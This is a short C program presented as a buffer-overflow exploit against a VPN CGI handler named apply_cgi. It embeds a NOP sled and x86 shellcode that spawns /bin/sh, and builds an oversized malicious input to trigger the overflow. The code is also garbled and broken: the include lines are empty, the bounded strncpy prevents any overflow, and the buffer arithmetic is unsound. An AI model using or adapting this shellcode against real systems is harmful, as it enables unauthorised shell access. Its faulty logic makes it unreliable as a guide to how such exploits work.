#include #include #define MAX_LEN 256 #define BUFFER_OVERRUN_LENGTH 50 #define SHELLCODE_LENGTH 32 // NOP sled to increase the chance of successful shellcode execution char nop_sled[SHELLCODE_LENGTH] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"; // Shellcode to execute /bin/sh char shellcode[SHELLCODE_LENGTH] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"; void apply_cgi(char *vpn_client_ip) { char buffer[MAX_LEN]; strncpy(buffer, vpn_client_ip, MAX_LEN); printf("Client IP: %s\n", buffer); } int main() { char input[MAX_LEN + BUFFER_OVERRUN_LENGTH] = {0}; // Create a buffer with the malicious input // including the NOP sled, shellcode, and the overflow data int offset = strlen(nop_sled) + strlen(shellcode) - BUFFER_OVERRUN_LENGTH; strncpy(&input[0], nop_sled, offset); strncpy(&input[offset], shellcode, SHELLCODE_LENGTH); input[MAX_LEN + BUFFER_OVERRUN_LENGTH - 1] = '\x00'; // Call the vulnerable function to trigger the buffer overflow apply_cgi(input); return 0; }